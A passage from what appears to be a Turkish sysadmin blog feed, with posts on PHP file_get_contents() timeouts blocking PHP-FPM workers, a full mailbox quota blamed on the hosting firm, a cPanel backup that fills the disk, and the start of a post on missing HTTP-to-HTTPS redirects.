<p>Yazılım mimarisinde ve PHP geliştirmede acemi geliştiricilerin yazdığı ve en güçlü sunucuları bile saniyeler içinde komaya sokan o ölümcül mimari basiretsizlik tam olarak bu emniyetsiz diyaliz hortumudur: <strong>Zaman aşımı (timeout) kontrolü olmadan, senkron bir şekilde <code>file_get_contents()</code> ile dışarıdan veri çekmeye çalışmak.</strong></p>
<h3>"Ana Sayfaya Canlı Dolar Kuru Koydum!"</h3>
<p>Bir haber portalı, kurumsal şirket veya e-ticaret sitesi... Sitenin üst bilgi (header) kısmında ziyaretçilere güncel hava durumunu veya canlı dolar/euro kurunu göstermek istemektedirler.</p>
<p>Geliştirici açar <code>header.php</code> dosyasını. Kodu en kestirme, en ilkel yoldan yazar:</p>
<pre><code class="language-php">&#x3C;?php
// Tembel yazılımcının saatli bombası:
$doviz_json = file_get_contents("http://api.harici-doviz-sitesi.com/canli-kurlar.json");
$kurlar = json_decode($doviz_json, true);
echo "Dolar: " . $kurlar['USD'];
?>
</code></pre>
<p>Geliştirici testi yapar. Sayfa açılır, dolar kuru pırıl pırıl görünmektedir. Geliştirici kodu canlıya alır ve evine gider.</p>
<p>İki ay boyunca her şey harika çalışır. Ta ki o kara salı gününe kadar...</p>
<h3>Karşı Tarafın Çöküşü ve Zincirleme Reaksiyon</h3>
<p>Salı günü saat 14:00'te, verinin çekildiği o üçüncü parti <code>harici-doviz-sitesi.com</code> sunucusunda bir arıza yaşanır veya aşırı yükten dolayı sunucuları yavaşlar. Normalde 50 milisaniyede yanıt veren o API, artık istek başına <strong>60 saniyede</strong> yanıt veremez hale gelir!</p>
<p>Ve felaket zinciri başlar:</p>
<ol>
<li>İlk ziyaretçi sitenize girer. <code>header.php</code> çalışır. <code>file_get_contents()</code> fonksiyonu harici sunucuya bağlanır ve TCP soketini açar. Karşı taraf yanıt vermediği için PHP motoru o satırda beklemeye (blocking I/O) başlar.</li>
<li>İkinci ziyaretçi gelir; ikinci bir PHP worker'ı ayağa kalkar, o da döviz API'sini beklemeye başlar.</li>
<li>Beşinci, onuncu, ellinci ziyaretçi...</li>
<li>30 saniye içinde sunucunun PHP-FPM havuzundaki tüm worker'lar (Örn: 50 adet worker), o yabancı sitenin kapısında kuyruğa girmiş, eli kolu bağlı bir şekilde donakalmıştır!</li>
</ol>
<p>Sunucuda başka hiçbir ziyaretçinin isteğini karşılayacak tek bir boş PHP iş parçacığı kalmaz!</p>
<p>Web sunucusu (Nginx/Apache), PHP motoruna <em>"Şu sayfayı derle"</em> der; PHP'den yanıt alamaz. Ve ziyaretçilerin ekranına o buz gibi hata basılır:</p>
<blockquote>
<p><strong>504 Gateway Timeout</strong><br>
<em>The gateway did not receive a timely response from the upstream server or application.</em></p>
</blockquote>
<p>Site tamamen çökmüştür! Şirket genel müdürü bilgi işlem müdürünü arar: <em>"Milyonluk sunucu aldık, sitemiz açılmıyor, 504 veriyor!"</em></p>
<p>Mühendis sunucuya bakar: İşlemci kullanımı %1, bellek kullanımı %5'tir! Sunucu donanımsal olarak uyumaktadır; fakat tüm PHP iş parçacıkları dışarıdaki o dandik döviz sitesinin keyfini beklemekten kilitlenmiştir!</p>
<h3>file_get_contents(): Emniyet Kemeri Olmayan Araç</h3>
<p>Varsayılan haliyle PHP'nin <code>file_get_contents()</code> fonksiyonu harici HTTP istekleri için tasarlanmamıştır; yerel diskten dosya okumak için üretilmiştir.</p>
<p>Bir URL verdiğinizde <code>file_get_contents()</code>:</p>
<ul>
<li><strong>Zaman aşımı (timeout) tanımaz:</strong> Karşı taraf 5 dakika yanıt vermezse, PHP de 5 dakika boyunca o satırda donup kalır!</li>
<li><strong>Hata yakalayamaz (No Graceful Degradation):</strong> Karşı taraf 500 hatası dönerse doğrudan PHP Fatal/Warning patlatır.</li>
<li><strong>Senkron ve Engelleyicidir (Blocking):</strong> O veri gelmeden sayfanın geri kalan HTML'i ziyaretçiye asla teslim edilmez.</li>
</ul>
<p>Yani siz kendi web sitenizin şahdamarını, internetteki tanımadığınız üçüncü bir şahsın sunucusunun sıhhatine bağlamış olursunuz! Karşı taraf hapşırsa, sizin siteniz yoğun bakıma düşer.</p>
<h3>Cerrahi Güvence: Zaman Aşımı, cURL ve Önbellekleme</h3>
<p>Harici servislerden veri çekerken sisteminizin asla kilitlenmemesini sağlamanın üç altın mühendislik kuralı vardır:</p>
<h4>1. Asla Sayfa Yüklenirken Canlı Veri Çekmeyin (Cron + Cache)!</h4>
<p>Bir ziyaretçi sitenize girdiğinde canlı canlı dışarıdan döviz kuru çekmek mimari bir cinayettir!</p>
<ul>
<li>Sunucunuza arka planda saatte bir veya 10 dakikada bir çalışan bağımsız bir <strong>Cron Job</strong> kurun.</li>
<li>Bu cron görevi gitsin döviz kurunu çeksin ve yerel bir <strong>Redis önbelleğine</strong> veya veritabanına yazsın.</li>
<li>Ziyaretçi sitenizi açtığında harici siteye hiç gitmesin; veriyi yerel RAM'den (Redis) <strong>0.001 milisaniyede</strong> okusun! Dışarıdaki döviz sitesi 3 gün boyunca çökse bile sizin siteniz yerel önbellekteki son veriyi gösterir ve bir milisaniye bile yavaşlamaz!</li>
</ul>
<h4>2. cURL ile Katı Zaman Aşımı (Timeout) Tanımlayın</h4>
<p>Eğer mutlaka canlı bir istek atılacaksa, <code>file_get_contents</code> yerine <strong>cURL</strong> kullanın ve zaman aşımını en fazla 2-3 saniye ile sınırlandırın:</p>
<pre><code class="language-php">$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.harici-site.com/kur.json");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2); // Bağlantı için en fazla 2 saniye bekle!
curl_setopt($ch, CURLOPT_TIMEOUT, 3);        // Yanıt için en fazla 3 saniye bekle!

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200 || !$response) {
    // Karşı taraf çöktüyse panik yok, varsayılan/eski veriyi göster:
    $kurlar = ['USD' => '34.50 (Tahmini)'];
}
</code></pre>
<h4>3. İstemci Taraflı Yükleme (Asenkron AJAX / Fetch)</h4>
<p>Döviz kurunu veya hava durumunu PHP ile sunucu tarafında çekmek yerine; sayfa yüklendikten sonra kullanıcının tarayıcısına JavaScript (<code>fetch()</code>) ile çektirin. Karşı taraf yavaşlasa bile kullanıcının tarayıcısında sadece o küçük kutucuk döner; sitenizin ana gövdesi ışık hızında açılır.</p>
<p>Harici makine durduğunda hastanın kanını dışarıda unutan sağlıkçı nasıl hastayı öldürürse; zamanaşımsız kod yazan yazılımcı da kendi altyapısını başkalarının hatalarına kurban eder. Profesyonel mimari, dış dünyanın her an çökebileceği paranoyasıyla yazılan; kendi kalesini asla yabancıların insafına terk etmeyen akılcı bir savunma sanatıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>file_get_contents</category>
            <category>cURL</category>
            <category>Timeout</category>
            <category>Yazılım Mimarisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-file_get_contents-ile-disaridan-veri-ceken-ve-kilitlenen-sayfalar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Mail Kota Limiti Dolunca 'Bana Mail Gelmiyor' Yalanı"]]></title>
            <link>http://localhost:3000/blog/post/mail-kota-limiti-dolunca-bana-mail-gelmiyor-yalani</link>
            <guid>mail-kota-limiti-dolunca-bana-mail-gelmiyor-yalani</guid>
            <pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Posta kutusundaki 1 GB'lık alanı yıllardır silmediği 25 MB boyutundaki teklif ekleriyle dolduran kullanıcının, karşı tarafa "Mailbox size limit exceeded" hatası dönünce mahcubiyetini gizlemek için "Hosting firması maillerimi kesti" yalanına sığınması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/mail-kota-limiti-dolunca-bana-mail-gelmiyor-yalani/thumbnail" alt=""> Dahiliye ve acil tıp kliniklerinde nöbet tutan her hekimin hayatında en az birkaç kez karşılaştığı trajikomik bir hasta profili vardır: Kronik kabızlık ve ilerlemiş "Fekal İmpaksiyon" (bağırsak tıkanması) vakası. Hasta günlerdir, hatta haftalardır tuvalete çıkmamıştır; kalın bağırsakları taşlaşmış atıklarla tıka basa dolmuştur. Hasta bir lokma yemek yediğinde midesi bulanır, anında kusar.</p>
<p>Ve hasta sedyede hekime bağırmaya başlar: <em>"Doktor bey yetişin! Midem hiçbir yemeği kabul etmiyor, bağırsaklarım çalışmıyor, kesin midemde ölümcül bir tümör var, beni zehirlediler!"</em></p>
<p>Deneyimli hekim hastanın karnına dokunur veya ultrason probunu koyar; durum gün gibi ortadadır. Midede hiçbir tümör yoktur; sadece günlerdir boşaltılmayan o biyolojik atıklar çıkış kapısını tıkamış, yeni gelen her lokmayı yukarı doğru geri itmektedir. Basit bir lavman yapılır, bağırsaklar boşaltılır ve hastanın o "ölümcül tümör" dediği şey bir anda buharlaşır; yerini derin bir mahcubiyet alır.</p>
<p>Kurumsal bilişim altyapılarında ve e-posta sunucusu yönetiminde her hafta şirket yöneticilerinin ve personelin sergilediği o meşhur savunma mekanizması tam olarak bu tıkanmış bağırsak psikolojisidir: <strong>Kendi posta kutusunu dijital çöplüğe çevirip dolduran kullanıcının, ticari ortaklarına rezil olmamak için suçu hosting firmasına atması.</strong></p>
<h3>Pazartesi 11:00: İtalyan Tedarikçinin Telefonu</h3>
<p>Olay genellikle mobilya, makine veya tekstil sektöründe faaliyet gösteren bir şirketin muhasebe veya satın alma departmanında patlak verir.</p>
<p>Şirketin İtalya'daki kumaş tedarikçisi veya Almanya'daki yedek parça fabrikası şirketin genel müdürünü telefonla arar:<br>
<em>"Hans Bey, sabahtan beri size haftalık kritik sipariş listesini ve 100 bin euroluk proforma faturayı e-posta ile gönderemiyoruz! Gönderdiğimiz her mail anında geri dönüyor. Sunucunuzda bir problem mi var?"</em></p>
<p>Şirket müdürünün yüzü kızarır. Kurumsal bir kriz kapıdadır. Müşterisine veya yabancı ortağına <em>"Kusura bakmayın, benim bilgisayarım çöp dolu, posta kutumu temizlemeyi unuttum"</em> diyemez; çünkü bu bir profesyonellik intiharıdır.</p>
<p>Kullanıcı anında o meşhur savunma mekanizmasını devreye sokar:<br>
<em>"Ah Hans Bey sormayın! Türkiye'deki bu hosting şirketleri çok kalitesiz. Bizim sunucu sağlayıcımız sabahtan beri genel bir bakım yapıyormuş, mail sunucularını kapatmışlar! Bizimle alakası yok, servis sağlayıcının beceriksizliği. Ben şimdi onları arayıp fırçalıyorum!"</em></p>
<p>Telefon kapatılır. Ve o haksız öfke, doğrudan hosting firmasının destek hattına kusulur.</p>
<h3>Destek Masasına Fırlatılan Tehdit</h3>
<p>Müşteri telefon santralini arar veya büyük harflerle panik içinde bir bilet açar:</p>
<blockquote>
<p><em>"Siz nasıl bir firmasınız! Almanya'dan, İtalya'dan milyonluk ortaklarım bana mail atamıyor! 'Sunucu kapalı' diyormuş! Ticaretime ambargo mu koyuyorsunuz? Şirketimizi rezil ettiniz, milyarlık ihalemiz yanacak! Derhal mail sunucunuzu açın yoksa avukatımla geliyorum!"</em></p>
</blockquote>
<p>Destek mühendisi son derece sakindir. Çünkü bu senaryoyu haftada 40 kez görmüştür.</p>
<p>Mühendis hemen sunucunun MTA (Mail Transfer Agent) loglarını (<code>/var/log/exim_mainlog</code> veya Postfix logları) filtreler:</p>
<pre><code class="language-log">2026-02-04 10:48:12 H=mail-out.supplier-italy.com [198.51.100.42]:48212 
F=&#x3C;orders@supplier-italy.com> rejected RCPT &#x3C;ahmet@sirketadi.com.tr>: 
552 5.2.2 Mailbox is full / Quota exceeded
</code></pre>
<p>İtalyan tedarikçinin ekranına düşen o hata raporunun tam metni açılır:</p>
<pre><code class="language-text">Action: failed
Status: 5.2.2
Diagnostic-Code: smtp; 552 5.2.2 &#x3C;ahmet@sirketadi.com.tr>: 
Recipient address rejected: Mailbox size limit exceeded
</code></pre>
<p>Sunucu çökmemiştir! Sunucunun e-posta motoru, spam filtreleri, ağ kartları saniyede binlerce mektubu tıkır tıkır işlemektedir. Sunucudaki diğer 40 personelin mail trafiği şelale gibi akmaktadır.</p>
<p>Sorun tek bir noktadadır: Ahmet Bey'e tanımlanan <strong>1024 MB (1 GB)</strong> posta kotası, tam olarak <strong>1023.99 MB</strong> seviyesine ulaşmıştır!</p>
<h3>Dijital İstifçiliğin Anatomisi: 2018'den Kalan Slaytlar</h3>
<p>Mühendis cPanel veya e-posta yönetim panelinden Ahmet Bey'in posta kutusunun dosya dağılımına bakar:</p>
<ol>
<li><strong>Gelen Kutusu (INBOX):</strong> 150 MB.</li>
<li><strong>Gönderilmiş Öğeler (Sent Items):</strong> 450 MB (Son 5 yılda atılan tüm 20 MB'lık kataloglar burada saklanmaktadır!).</li>
<li><strong>Çöp Kutusu (Trash):</strong> <strong>420 MB!</strong></li>
</ol>
<p>Ahmet Bey, kendisine mail kutusu doluyor uyarıları geldikçe mailleri seçip <code>Delete</code> tuşuna basmıştır; ancak "Çöp Kutusunu Boşalt" (Empty Trash) butonuna basmayı akıl edememiştir! Silinen mailler çöp kutusunda beklemekte, sunucu diskini kuruşu kuruşuna işgal etmeye devam etmektedir!</p>
<p>Üstelik posta kutusunun içinde ta 2019 yılından kalma şirket içi kedi videoları, taranmış bayram kutlama afişleri, 35 MB'lık taranmış PDF sözleşmeler bir çöplük gibi yığılmıştır.</p>
<p>Lavman borusu tıkanmış hastanın midesine yemek girmemesi gibi; Ahmet Bey'in posta kutusuna da İtalyan tedarikçinin gönderdiği o 5 MB'lık proforma fatura fiziksel olarak sığmamıştır!</p>
<h3>Mahcubiyet Seansı ve Gerçeklerle Yüzleşme</h3>
<p>Destek mühendisi o log çıktısını, İtalyan tedarikçiye dönen <code>552 5.2.2 Mailbox full</code> hata raporunu ve posta kutusundaki doluluk grafiğini ekran görüntüsü olarak bilet sistemine yapıştırır:</p>
<p><em>"Ahmet Bey, sunucumuzda hiçbir kesinti veya arıza yoktur. Şirketinizdeki diğer tüm personelin e-postaları sorunsuz çalışmaktadır. Sizin posta kutunuz için belirlenen 1 GB'lık kota %100 dolduğu için sunucu yeni gelen e-postayı kabul edememiş ve İtalyan tedarikçinize 'Alıcının posta kutusu dolu' raporu dönmüştür. Webmail'e girip Çöp Kutusu ve Gönderilmiş Öğeler klasörünüzü temizlerseniz veya kotanızı artırırsanız mailleriniz anında akmaya başlayacaktır."</em></p>
<p>Bilet sisteminde derin bir sessizlik olur.</p>
<p>On beş dakika önce dünyayı ayağa kaldıran, <em>"Sunucunuz kapalı, ticaretime ambargo koydunuz"</em> diye kükreyen Ahmet Bey'den yarım saat sonra tek satırlık, mahcup bir yanıt gelir:</p>
<blockquote>
<p><em>"Temizledim, mailler geldi... Teşekkürler."</em></p>
</blockquote>
<p>Ne bir özür, ne bir mahcubiyet itirafı... Suçu altyapıya atmak, kendi tembelliğini örtbas etmenin en ucuz yoludur.</p>
<h3>Dijital Hijyen ve Kurumsal Kota Yönetimi</h3>
<p>Bu tür trajikomik krizlerle ticari ortaklarınıza rezil olmamak için uygulanması gereken basit kurallar şunlardır:</p>
<ol>
<li><strong>Kotayı Asla %100'e Dayandırmayın:</strong> Posta kutunuz %80 doluluğa ulaştığında eski, büyük boyutlu ekleri olan mailleri tespit edip temizleyin.</li>
<li><strong>Çöp Kutusunu Boşaltın:</strong> E-postayı silmek onu yok etmez; Çöp Kutusu klasörüne taşır. Belirli aralıklarla Çöp Kutusu ve İstenmeyen (Spam) klasörlerinizi tamamen kalıcı olarak boşaltın.</li>
<li><strong>Yerel Arşivleme (PST / MBOX):</strong> Eğer eski mailleri yasal zorunluluk gereği saklamak zorundaysanız, Outlook üzerinde "Arşivle" özelliğini kullanarak eski mailleri sunucudan bilgisayarınızın yerel diskine çekin. Sunucu bir depolama ambarı değildir.</li>
<li><strong>Otomatik Temizleme Politikaları:</strong> Şirketin bilgi işlem yöneticisi, sunucu tarafında 60 günden eski Çöp Kutusu maillerini otomatik temizleyen kurallar tanımlamalıdır.</li>
</ol>
<p>Kendi evinin çöp kovasını boşaltmayıp çöpler kapıdan taşınca belediyeyi "Bana suikast düzenlediler" diye suçlayamazsınız. Kota fiziksel bir sınırdır; o sınırı çöple doldurursanız, kapıda kalan en değerli ihalelerinizin faturası sadece ve sadece kendi sorumsuzluğunuza kesilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Posta</category>
            <category>Kota</category>
            <category>Hosting</category>
            <category>Sistem Yönetimi</category>
            <category>Müşteri Psikolojisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/mail-kota-limiti-dolunca-bana-mail-gelmiyor-yalani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["CPanel 'Backup Wizard' İle 100 GB'lık Yedeği Sunucu İçinde Alıp Diski Patlatmak"]]></title>
            <link>http://localhost:3000/blog/post/cpanel-backup-wizard-ile-100-gblik-yedegi-sunucu-icinde-alip-diski-patlatmak</link>
            <guid>cpanel-backup-wizard-ile-100-gblik-yedegi-sunucu-icinde-alip-diski-patlatmak</guid>
            <pubDate>Tue, 03 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Disk doluluğu %70 seviyesindeyken cPanel Backup Wizard ile "Full Backup" butonuna basıp devasa yedeği yine aynı diskin içine yazdıran kullanıcının, diski %100 doldurarak kendi web sitesini kendi elleriyle komaya sokması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cpanel-backup-wizard-ile-100-gblik-yedegi-sunucu-icinde-alip-diski-patlatmak/thumbnail" alt=""> Gastroenteroloji ve genel cerrahi kliniklerinde siroz veya karaciğer yetmezliği olan hastaların karın boşluğunda litrelerce sıvı (asit) birikir. Hekim hastayı rahatlatmak için "Terapötik Parasentez" işlemi yapar: Karına steril bir iğne batırılır, hortum bağlanır ve o 10 litrelik sıvı dışarıdaki steril toplama torbasına tahliye edilir.</p>
<p>Şimdi gözünüzün önüne akıl almaz bir acemi hekim getirin: Hastanın karnından o 10 litre sıvıyı enjektörle çekiyor; fakat dışarıdaki torbaya atmak yerine, <em>"Vücuttan bir şey eksilmesin"</em> diyerek çektiği sıvıyı hastanın sol göğüs kafesine, akciğer zarlarının arasına geri enjekte ediyor! Sonuç ne olur? Akciğer o devasa sıvı baskısı altında tamamen söner (atelektazi), kalbe giden damarlar sıkışır ve hasta doktorun gözünün önünde boğularak can verir! Tahliye dışarı yapılmazsa, içerideki organları birbirine ezdirmekten başka bir sonuç elde edemezsiniz.</p>
<p>Linux sunucu yönetiminde ve cPanel kullanan işletmelerin başına gelen en trajikomik kaza tam olarak bu içe enjeksiyon cinayetidir: <strong>Diskte yeterli yer yokken cPanel "Backup Wizard" ile tam yedek (Full Backup) alıp, o devasa arşivi yine aynı diskin içine yazdırarak sunucuyu havaya uçurmak.</strong></p>
<h3>"Siteyi Taşımadan Önce Bir Yedek Alayım"</h3>
<p>Bir e-ticaret sitesi sahibi veya ajans çalışanı, sunucusundaki web sitesini başka bir sağlayıcıya taşımaya veya büyük bir güncelleme yapmaya karar verir. İçindeki sorumluluk duygusu takdir edilesidir: <em>"Önce her şeyin tam bir yedeğini almalıyım."</em></p>
<p>Kullanıcı cPanel kontrol paneline girer. "Dosyalar" menüsü altındaki o sihirli butona tıklar: <strong>"Yedekleme Sihirbazı" (Backup Wizard)</strong>.</p>
<p>Karşısına çıkan adımları takip eder:</p>
<ol>
<li>"Yedekle" (Backup) butonuna tıklar.</li>
<li>"Tam Yedekleme" (Full Backup) seçeneğini işaretler.</li>
<li>Karşısına "Yedekleme Hedefi" (Backup Destination) sorusu çıkar:
<ul>
<li>Seçenek 1: <em>Giriş Dizini (Home Directory)</em></li>
<li>Seçenek 2: <em>Uzak FTP Sunucusu</em></li>
<li>Seçenek 3: <em>SCP ile Uzak Sunucu</em></li>
</ul>
</li>
</ol>
<p>Kullanıcı harici bir FTP sunucusuyla veya bulut depolamayla uğraşmak istemez. Varsayılan seçeneği bırakır: <strong>"Giriş Dizini (Home Directory)"</strong>.</p>
<p>Ve o ölümcül mavi butona tıklar: <strong>"Yedek Oluştur (Generate Backup)"</strong>.</p>
<h3>Matematiksel İntihar: %70 + %40 = %110!</h3>
<p>Sunucunun disk durumunu masaya yatıralım:</p>
<ul>
<li>Kullanıcının toplam disk kotası: <strong>100 Gigabayt</strong>.</li>
<li>Sitedeki mevcut dosyalar, veritabanı, ürün fotoğrafları ve maillerin toplam boyutu: <strong>72 Gigabayt</strong> (Yani disk doluluk oranı %72!).</li>
<li>Diskte kalan boş alan: <strong>28 Gigabayt</strong>.</li>
</ul>
<p>cPanel'in arka plandaki yedekleme motoru (<code>/scripts/pkgacct</code>) çalışmaya başlar.</p>
<p>cPanel ne yapar?</p>
<ol>
<li><code>public_html</code> altındaki tüm dosyaları okur.</li>
<li>MySQL veritabanlarının tam dökümünü (<code>mysqldump</code>) alır.</li>
<li>E-postaları ve ayarları toplar.</li>
<li>Tüm bu 72 GB'lık veriyi gzip ile sıkıştırarak tek bir devasa arşiv haline getirmeye başlar: <code>backup-2.3.2026_14-12-05_firma.tar.gz</code>.</li>
</ol>
<p>Ve bu devasa arşivi nereye yazar? <strong>Kullanıcının <code>/home/firma/</code> dizinine, yani aynı fiziksel diskin içine!</strong></p>
<p>Sıkıştırma oranı ne kadar iyi olursa olsun, 72 GB'lık medya ağırlıklı bir sitenin sıkıştırılmış arşivi en az <strong>45 ila 50 Gigabayt</strong> yer tutar!</p>
<p>İşlem başlar:</p>
<ul>
<li>Yedek dosyası diske yazılır: 10 GB... 20 GB... 27 GB...</li>
<li>Ve disk doluluk oranı <strong>%100</strong> seviyesine vurur!</li>
</ul>
<p>Diskte kalan boş alan: <strong>Tam SIFIR bayt!</strong></p>
<h3>Zincirleme Çöküş: Kendi Kendini İmha Eden Sunucu</h3>
<p>Diskte yer kalmadığı saniyede sunucuda tam bir felaket zinciri patlak verir:</p>
<ol>
<li><strong>Yedekleme Yarıda Kesilir:</strong> cPanel diske yazamadığı için <code>tar: Write error: No space left on device</code> hatası verir ve işlemi yarıda keser. Ortada 28 GB'lık, bozuk, açılması imkânsız bir yarım arşiv kalır.</li>
<li><strong>MySQL / MariaDB Acil Durdurma:</strong> Veritabanı motoru diske <code>redo log</code> yazamadığı için kendini korumak amacıyla anında kapanır (<code>shutdown</code>).</li>
<li><strong>Web Sitesi Çöker:</strong> Sitedeki tüm ziyaretçilerin karşısına <em>"Error establishing a database connection"</em> ve <em>"500 Internal Server Error"</em> basılır.</li>
<li><strong>Oturumlar Kilitlenir:</strong> Linux <code>/tmp</code> dizinine PHP oturum dosyası (session) yazamadığı için kullanıcı cPanel'e bile tekrar giriş yapamaz; şifre girildiğinde panel beyaz ekranda kalır!</li>
</ol>
<p>Kullanıcı saniyenin onda birinde kendi sitesinin kapısına kendi elleriyle kilit vurmuştur!</p>
<h3>Destek Masasında Gece Yarısı Çığlığı</h3>
<p>Kullanıcı çılgınlar gibi destek masasını arar:</p>
<blockquote>
<p><em>"Sitenin yedeğini alayım dedim, bütün sunucu kilitlendi! Sitem kapandı, cPanel'ime bile giremiyorum! Sizin sunucunuz ne biçim sistem, yedek alma butonu siteyi çökertir mi? Acil müdahale edin, ticaretimiz durdu!"</em></p>
</blockquote>
<p>Destek mühendisi SSH konsolundan sunucuya girer: <code>df -h</code>.</p>
<p>Görüntü klasiktir: <code>/home</code> dizini %100 doludur.</p>
<p>Mühendis kullanıcının kök dizinine bakar: <code>ls -lh /home/firma/</code>. Orada 28 GB boyutunda, yarım kalmış devasa bir <code>.tar.gz</code> dosyası durmaktadır.</p>
<p>Mühendis o yarım dosyayı tek bir komutla siler (<code>rm -f backup-*.tar.gz</code>). Diskte anında 28 GB boşluk açılır. MySQL yeniden başlatılır ve site 3 saniyede geri gelir.</p>
<p>Mühendisin müşteriye yazdığı tek cümlelik ders niteliğindeki yanıt şudur: <em>"Ahmet Bey, 100 litrelik bir su deposunun içinde 70 litre su varken, o suyu depodan çekip yine aynı deponun içine 50 litrelik bir bidonla koyamazsınız; su taşar!"</em></p>
<h3>Güvenli Yedekleme Protokolü</h3>
<p>Bir sunucuda felaketten korunmak isterken felaketin kendisi olmamak için uygulanması zorunlu mühendislik kuralları şunlardır:</p>
<ol>
<li><strong>Yedeği Asla Aynı Diske Almayın (Off-Site Backup):</strong> Bir sunucunun yedeği, o sunucunun içinde duruyorsa o bir yedek değildir! Sunucunun diski yandığında yedeğiniz de onunla birlikte yanar. cPanel Backup Wizard kullanırken hedef olarak mutlaka <strong>"Uzak FTP Sunucusu" (Remote FTP)</strong> veya <strong>"Amazon S3 / Google Drive"</strong> gibi harici bir depolama seçin. Veri üretildiği anda ağ üzerinden harici kasaya aksın; yerel disk bir bayt bile şişmesin.</li>
<li><strong>Yedek Öncesi Disk Kontrolü:</strong> Eğer mecburen yerel diske yedek alacaksanız; disk doluluğunuzun en fazla <strong>%40</strong> olduğundan emin olun. Doluluk %50'nin üzerindeyse o diske tam yedek alınamaz!</li>
<li><strong>Ayrı Bölümleme (Separate Partition):</strong> Büyük sistemlerde yedeklerin yazıldığı <code>/backup</code> dizini, işletim sisteminin ve sitelerin barındığı diskten tamamen farklı, ikincil bir fiziksel diske bağlanmalıdır.</li>
<li><strong>Veritabanını ve Dosyaları Ayrı Alın:</strong> 100 GB'lık dev bir siteyi tek parça yedeklemek yerine; her gün sadece 500 MB tutan veritabanı yedeğini alın (<code>mysqldump</code>), 80 GB'lık statik ürün fotoğraflarını ise haftada bir <code>rsync</code> ile harici bir depoya senkronize edin.</li>
</ol>
<p>Karnındaki sıvıyı akciğerine enjekte eden hekim hastayı nasıl boğarsa; yedeği aynı diskin içine yazdıran kullanıcı da sunucusunu öyle boğar. Yedekleme bir ambar kopyalama çılgınlığı değil; veriyi güvenli, harici ve izole bir kasaya sessizce nakletme disiplinidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cPanel</category>
            <category>Yedekleme</category>
            <category>Backup Wizard</category>
            <category>Disk Yönetimi</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cpanel-backup-wizard-ile-100-gblik-yedegi-sunucu-icinde-alip-diski-patlatmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[SSL Sertifikası Alıp 'HTTP -> HTTPS' 301 Yönlendirmesini Unutmak]]></title>
            <link>http://localhost:3000/blog/post/ssl-sertifikasi-alip-http---https-301-yonlendirmesini-unutmak</link>
            <guid>ssl-sertifikasi-alip-http---https-301-yonlendirmesini-unutmak</guid>
            <pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucuya TLS sertifikası kurup web sunucusunda HTTP'den HTTPS'e 301 yönlendirmesini unutmanın bedeli: Çift başlı URL yapısı, MITM zaafiyetleri ve SEO duplicate content cezaları.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ssl-sertifikasi-alip-http---https-301-yonlendirmesini-unutmak/thumbnail" alt=""> Acil serviste açık ve aktif kanaması olan bir travma vakasına yaklaştığınızda ilk kural hemostazı sağlamaktır. Damar yolunu açıp steril bir santral venöz kateter (CVC) taktığınızda, hastanın dolaşım sistemine güvenli, izole ve enfeksiyondan arındırılmış bir koridor kazandırırsınız. Ancak kateteri takıp eski açık, enfekte ve kan sızdıran periferik damar girişini açıkta bırakırsanız; orayı klemplemez ve kapatmazsanız, hastanın dolaşımına bir yandan steril serum girerken diğer yandan açık yaradan sepsis ajanları dolmaya devam eder. Kateterin steril olması, açıkta duran yaranın yarattığı hemodinamik kaosu sıfırlamaz.</p>
<p>Web altyapılarında da durum farksızdır. Let's Encrypt, Sectigo veya DigiCert üzerinden domaininize bir TLS sertifikası tanımladığınızda, sisteminize modern bir şifreleme katmanı (TLS 1.3) eklersiniz. Ancak web sunucunuzda (Nginx, Apache veya Caddy) 80 numaralı porttan gelen düz metin (plaintext) <code>http://</code> isteklerini zorunlu bir <code>301 Moved Permanently</code> ile <code>443</code> numaralı <code>https://</code> portuna yönlendirmezseniz; dijital dünyada çift başlı, şizofrenik bir mimari inşa etmiş olursunuz.</p>
<p>Sertifika vardır, yeşil kilit ikonu elle yazıldığında görünür; fakat kapıdaki nöbetçi şifresiz gelen her yolcuyu içeri almaya devam eder.</p>
<hr>
<h2>Dijital Yarılma: Bir Alan Adı, İki Ayrı Evren</h2>
<p>Web sunucusu düzeyinde HTTP-HTTPS yönlendirmesi yapılmadığında, sistem mimarisi arama motorları ve kullanıcılar açısından iki tamamen bağımsız siteye bölünür:</p>
<pre><code>                  ┌──────────────────────┐
                  │    İstemci / Bot     │
                  └──────────┬───────────┘
                             │
            ┌────────────────┴────────────────┐
            ▼                                 ▼
   Port 80 (HTTP)                    Port 443 (HTTPS)
   [Şifresiz / Açık Metin]           [TLS Şifreli / Güvenli]
   - Man-in-the-Middle Riski         - Modern HTTP/2 &#x26; HTTP/3
   - Googlebot: Kopya Site A         - Googlebot: Kopya Site B
   - Form Verileri Açıkta            - Güvenli Çerezler (Secure Flag)
            │                                 │
            └───────────────┬─────────────────┘
                            ▼
               [Aynı Veritabanı ve Uygulama]
               - Duplicate Content Cezası
               - Canonical Etiket Çatışması
               - Güvenlik İllüzyonu
</code></pre>
<p>Yazılımcı veya sistem yöneticisi tarayıcısına <code>https://example.com</code> yazar, sertifikanın çalıştığını görür ve "İşimiz bitti, SSL tamamlandı" diyerek sunucudan çıkar. Oysa gerçek dünya bu şekilde işlemez.</p>
